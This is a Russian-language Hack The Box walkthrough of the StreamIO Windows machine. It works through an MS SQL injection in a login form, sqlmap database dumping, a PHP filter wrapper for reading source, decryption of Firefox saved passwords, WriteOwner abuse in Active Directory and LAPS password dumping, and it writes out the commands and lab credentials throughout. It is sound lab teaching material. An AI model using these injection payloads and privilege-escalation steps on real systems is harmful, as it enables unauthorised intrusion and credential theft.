Хакер - HTB StreamIO. Раскручиваем доступ к MS SQL до полного захвата машины

https://t.me/hacker_frei

RalfHacker

Содержание статьи

• Разведка
• Сканирование портов
• Точка входа
• SQL Injection
• Точка опоры
• Продвижение
• Локальное повышение привилегий
• BloodHound
• LAPS

В этом рай­тапе мы с тобой про­экс­плу­ати­руем SQL-инъ­екцию в фор­ме авто­риза­ции сай­та и с помощью отла­доч­ной фун­кции заполу­чим исходник сай­та и пол­ный дос­туп к MS SQL. Учет­ку адми­нис­тра­тора зах­ватим через экс­плу­ата­цию пра­ва WriteOwner. В общем, будет инте­рес­но!

Наш подопыт­ный — сред­няя по слож­ности машина StreamIO на осно­ве Windows с пло­щад­ки Hack The Box.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

На­чина­ем, как обыч­но, со ска­ниро­вания пор­тов машины.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ви­дим мно­го откры­тых пор­тов:

• 53 — DNS;
• 80 (HTTP) — веб‑сер­вер Microsoft IIS/10.0;
• 88 — Kerberos;
• 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC). Исполь­зует­ся для опе­раций вза­имо­дей­ствия кон­трол­лер — кон­трол­лер и кон­трол­лер — кли­ент;
• 139 — служ­ба сеан­сов NetBIOS, NetLogon;
• 389 — LDAP;
• 443 (HTTPS) — веб‑сер­вер Microsoft IIS/10.0;
• 445 — SMB;
• 464 — служ­ба сме­ны пароля Kerberos;
• 593 (HTTP-RPC-EPMAP) — исполь­зует­ся в служ­бах DCOM и MS Exchange;
• 636 — LDAP с шиф­ровани­ем SSL или TLS;
• 1433 — Microsoft SQL Server 2019;
• 3268 (LDAP) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру;
• 3269 (LDAPS) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру через защищен­ное соеди­нение;
• 3389 — RDP;
• 5985 — WinRM;
• 9389 — веб‑служ­бы AD DS.

Ни SMB, ни LDAP ничего пут­ного не отве­тили, к MS SQL дефол­тные учет­ные дан­ные не подош­ли, поэто­му нам остался толь­ко веб. Тем более SSL-сер­тификат для пор­та 443 рас­кры­вает нам еще два домен­ных име­ни, которые мы заносим в файл /etc/hosts.

10.10.11.158 streamio.htb DC.streamIO.htb watch.streamIO.htb

На пер­вом сай­те находим фор­му авто­риза­ции.

ТОЧКА ВХОДА

SQL Injection

Так как мы точ­но зна­ем, что на хос­те работа­ет СУБД, сто­ит про­верить некото­рые методы для обхо­да авто­риза­ции. Переби­рать будем по спис­ку с помощью Burp Intruder.

Это ничего не дало, поэто­му поп­робу­ем наг­рузки для поис­ка SQL-инъ­екции. И сра­баты­вает наг­рузка ;WAITFOR DELAY '0:0:30 для MS SQL с вре­мен­ной задер­жкой, которую мож­но опре­делить по стол­бцу Response time.

Мы под­твер­дили наличие уяз­вимос­ти, а зна­чит, можем исполь­зовать sqlmap для удоб­ной экс­плу­ата­ции. Спер­ва запус­тим ПО для под­бора наг­рузки и соз­дания шаб­лона.

sqlmap -u https://streamio.htb/login.php --data='username=admin&password=admin' -p username --batch

Те­перь мы можем прис­тупить к получе­нию дан­ных. Пер­вым делом нуж­но узнать наз­вания сущес­тву­ющих БД (параметр --dbs).

sqlmap -u https://streamio.htb/login.php --data='username=admin&password=admin' -p username --batch --dbs

Тут нас инте­ресу­ют две базы: streamio_backup и STREAMIO. Пер­вую мы прос­мотреть не можем, поэто­му получим таб­лицы вто­рой (параметр --tables).

sqlmap -u https://streamio.htb/login.php --data='username=admin&password=admin' -p username --batch -D STREAMIO --tables

Сра­зу ста­новит­ся ясно, что сле­дующая цель — таб­лица users. Что­бы не пытать­ся вытащить все дан­ные, поп­робу­ем получить наз­вания колонок (параметр --columns).

sqlmap -u https://streamio.htb/login.php --data='username=admin&password=admin' -p username --batch -D STREAMIO -T users --columns

sqlmap -u https://streamio.htb/login.php --data='username=admin&password=admin' -p username --batch -D STREAMIO -T users -C username,password --dump

Те­перь получим дан­ные (параметр --dump) толь­ко из колонок username и password.

У нас очень мно­го хешей, пред­положи­тель­но MD5. Что­бы най­ти про­образ, я поль­зуюсь онлай­новым ресур­сом crackstation.net.

В ито­ге мы получа­ем сле­дующие пары логинов и паролей, с которы­ми мож­но попытать­ся авто­ризо­вать­ся на сай­те.

Но, к сожале­нию, дос­туп мы так и не получа­ем. Может, на сай­те есть админка? Что­бы най­ти ее, будем бру­тить катало­ги.

ffuf -u 'https://streamio.htb/FUZZ' -t 256 -w directory_2.3_medium_lowercase.txt

Есть каталог admin, где мы авто­ризу­емся от име­ни поль­зовате­ля yoshihide.

ТОЧКА ОПОРЫ

У нас есть нес­коль­ко дос­тупных стра­ниц. Но важ­ны не сами стра­ницы, а то, как сер­вер узна­ет, какую заг­рузить, — по име­ни парамет­ра.

С помощью Burp Intruder мы можем проб­рутить наз­вание парамет­ра, что­бы поп­робовать най­ти новые стра­ницы.

В ито­ге опре­деля­ем четыре стра­ницы. Три из них нам уже извес­тны, а вот debug — что‑то новень­кое.

Эта стра­ница дол­жна поз­волять читать фай­лы. Нас инте­ресу­ет код на PHP, а что­бы его получить, нуж­но исполь­зовать обер­тки на PHP. Давай закоди­руем стра­ницу index.php в Base64.

?debug=php://filter/convert.base64-encode/resource=index.php

Для декоди­рова­ния выделя­ем инте­ресу­ющий нас текст пря­мо в Burp и нажима­ем Ctrl-Shift-B.

Код стра­ницы рас­крыл нам учет­ные дан­ные для под­клю­чения к СУБД. Вот толь­ко CrackMapExec не раз­решил нам под­клю­чить­ся, а DBeaver сра­ботал без проб­лем. При этом мы можем прос­мотреть базу дан­ных streamio_backup.

cme mssql 10.10.11.158 -u db_admin -p 'B1@hx31234567890'

От­прав­ляем оче­ред­ную пор­цию хешей и получа­ем новый пароль.

Про­веря­ем новую пару учет­ных дан­ных при под­клю­чении к ресур­су SMB.

cme smb 10.10.11.158 -u nikk37 -p 'get_dem_girls2@yahoo.com'

Учет­ные дан­ные валид­ны. Точ­но так же получа­ется под­клю­чить­ся к служ­бе WinRM и заб­рать флаг поль­зовате­ля.

evil-winrm -u nikk37 -p 'get_dem_girls2@yahoo.com' -i 10.10.11.158

ПРОДВИЖЕНИЕ

При прод­вижении очень важ­но про­верить все мес­та, где могут быть учет­ные дан­ные поль­зовате­лей. Пер­вым делом смот­рим, какие прог­раммы уста­нов­лены. И находим про­дук­ты Mozilla.

Get-ChildItem -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Дан­ные при­ложе­ний обыч­но хра­нят­ся в катало­гах по путям вро­де такого:

C:\Users\nikk37\Desktop\AppData\Roaming\

И мы наш­ли уста­нов­ленный Firefox, а бра­узе­ры — это кла­дезь полез­ной информа­ции для пен­тесте­ра. Что­бы дос­тать дан­ные, нам нуж­но опре­делить­ся с про­филем поль­зовате­ля (в нашем слу­чае дефол­тный), а затем ска­чать из него два фай­ла — logins.json и key4.db.

Рас­шифро­вать дан­ные из этих фай­лов очень прос­то. Нам понадо­бит­ся скрипт firepwd. Запус­тим его из катало­га со ска­чан­ными фай­лами и получим рас­шифро­ван­ные учет­ки!

Па­ролей накопи­лось очень мно­го, поэто­му получим реаль­ных сис­темных поль­зовате­лей и проб­рутим с помощью CrackMapExec.

net users /domain

cme smb 10.10.11.158 -u users.txt -p passwords.txt

И получа­ем нового поль­зовате­ля — JDgodd!

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

BloodHound

Боль­ше ничего инте­рес­ного на самом хос­те не находим, поэто­му поищем мис­конфи­ги (уяз­вимые кон­фигура­ции). В этом может помочь BloodHound. Эта прог­рамма ска­ниру­ет LDAP и исполь­зует гра­фы для выяв­ления скры­тых и час­то неп­редна­мерен­ных вза­имос­вязей в сре­де Active Directory и Azure. Это помога­ет лег­ко иден­тифици­ровать очень слож­ные пути ата­ки, которые в про­тив­ном слу­чае было бы невоз­можно най­ти быс­тро. Для работы с дан­ными нам допол­нитель­но нуж­но уста­новить СУБД Neo4j. Или мож­но прос­то запус­тить ее в Docker.

docker run -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/s3cr3t neo4j

Что­бы не закиды­вать исполня­емый файл BloodHound на хост, а потом не ска­чивать резуль­таты ска­ниро­вания обратно, мож­но вос­поль­зовать­ся вер­сией прог­раммы на Python.

bloodhound-python -d streamio.htb -u nikk37 -p 'get_dem_girls2@yahoo.com' -gc dc.streamio.htb -c all -ns 10.10.11.158

За­тем заг­ружа­ем фай­лы с резуль­татом в глав­ное при­ложе­ние BloodHound, помеча­ем поль­зовате­лей, которые уже под нашем кон­тро­лем (Mark as Owned), и выбира­ем опцию пос­тро­ения путей от таких поль­зовате­лей (Shortest Path from Owned Principals).

Та­ким обра­зом, поль­зователь JDgodd име­ет пра­во WriteOwner для груп­пы Core Staff, а поль­зовате­ли этой груп­пы могут читать пароли LAPS! При­виле­гия WriteOwner дает нам воз­можность сме­нить вла­дель­ца объ­екта на поль­зовате­ля, которо­го мы кон­тро­лиру­ем, и тем самым зах­ватить объ­ект. Давай сде­лаем это с помощью PowerShell.

$SecPassword = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('streamio\JDgodd', $SecPassword)

Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Core Staff" -principalidentity "streamio\JDgodd"

Те­перь, ког­да мы ста­ли вла­дель­цем груп­пы Core Staff, добавим себя в эту груп­пу.

Add-DomainGroupMember -identity "Core Staff" -members "streamio\JDgodd" -credential $Cred

Го­тово: наш поль­зователь может читать пароли LAPS!

LAPS

LAPS поз­воля­ет управлять пароля­ми локаль­ных учет­ных записей компь­юте­ров, при­соеди­нен­ных к домену. Пароли хра­нят­ся в Active Directory и защище­ны ACL, поэто­му про­читать их могут толь­ко опре­делен­ные поль­зовате­ли. LAPS уста­нав­лива­ет раз­ные слу­чай­ные пароли для учет­ных записей локаль­ных адми­нис­тра­торов на каж­дом компь­юте­ре в домене. Таким обра­зом, мы можем зап­росить пароль локаль­ного адми­нис­тра­тора сис­темы с помощью скрип­та LAPSDumper.

python3 laps.py -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' -d streamio.htb -l 10.10.11.158

Те­перь под­клю­чим­ся с дан­ным паролем как адми­нис­тра­тор машины.

evil-winrm -u Administrator -p '@v+422k]E;.9B0' -i 10.10.11.158

И машина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei